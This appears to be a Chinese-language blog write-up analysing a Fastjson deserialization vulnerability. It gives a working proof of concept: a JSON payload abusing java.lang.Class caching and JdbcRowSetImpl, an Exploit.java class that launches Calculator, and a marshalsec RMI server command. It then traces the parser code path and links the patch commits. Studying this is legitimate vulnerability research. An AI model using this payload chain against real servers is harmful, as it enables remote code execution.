@Author: Patrilic
@Time: 2020-3-14 23:08:55

0x00 RMI和LDAP的适用版本

  • RMI的利用方式:适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
  • LDAP的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

0x01 Poc

Exp.java

1
2
3
4
5
6
7
8
9
10
11
12
package com.patrilic.fastjson;

import com.alibaba.fastjson.JSON;
//import com.alibaba.fastjson.JSONObject;

public class exp {
public static void main(String[] argv) {
// System.out.print("Success");
String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}}";
JSON.parse(payload);
}
}

Exploit.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}

public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}

public static void main(String[] args) {
exec("123");
}
}

RMI服务器由marshalsec-0.0.3-SNAPSHOT-all.jar启动

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001/\#Exploit

7f359d16876b2eaa97d0064163818915
运行exp的时候,发现并不能成功执行
因为jdk版本不支持,当前版本为8u191,ldap和rmi的方式都不行,切换版本到7u80

1edd992c19ef12dba70c2e95888c2557

0x02 漏洞分析

程序最先进入到DefaultJSONNParser,将整个payload作为参数传入Json的解释器,进入到DefaultJsonParser.parser()函数
6e56c3da292b27f3113a3ee0abaa98ee

经过逐位的数据读取,将Json的Key分割开,调用addSymbol()函数加入到symbolTable
82ce67277b809a6566d42776edf55c1a
0b36d6845ac592e5e2a1edd046485417
d7aaede895bd86db6cd8b3b2bf521090

如果获取到的key是@type,就通过clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures())是否是黑名单中的类
e54434863810d533e4abbfffd17cf444

因为@type == "java.lang.class,不在黑名单内,所以会将value带入加载
c0cec95a77c1fcb09eae7a31f55ad924

跟进deserializer
cd2a71923e82d11b89acf17a93dac732

可以看到StrVal = objVal,而objVal就是等于poc中给出的val参数

b430f5adbde2b365f5488b65dd344da4
c91078c017a755f6a5eafa795011e9b4

然后下面经过一堆if判断,进入到
TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())
e609abb525e01030d936b3bbe7add652
a98059fd01221035ecd2841522af4275

跟进loadClass()
d4728569a9c8cb904ad5b0e1d4b6a6df

MiscCode:548行
79065bc4bef1123ed26820efacfbd05d

最后进入JdbcRowSetImpl通过调用SetAutoCommit() -> connect()对dataSourceName进行lookup,实现rmi注入
com/alibaba/fastjson/parser/DefaultJSONParser.class
d8ddb20ca9fbd8f657af97ef9c32ed6c

b09fa3f3e107fafb1e34e3fb83ba5656

a16b595ff0b2dc967bca9c66a947d82a

0x03 流程

041e5d8c0bb564c73c5b2a608fc6756f

0x04 Patch

https://github.com/alibaba/fastjson/commit/11b92d9f33119ca2af1a3fe6f474de5c1810e686#diff-d09347575523cbca09b52606214d95a7

013ef4165b6fced9afd44595f1ed8d44
将cache设为了false

https://github.com/alibaba/fastjson/commit/8034935a5405a135e77caa1e2f61b3e78fc02da8
ed8072ff15344186d6fe82a1030ddf3a

0x05 相关链接

https://www.03sec.com/3240.shtml
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://javasec.org/javase/JNDI/
https://paper.seebug.org/994/
https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/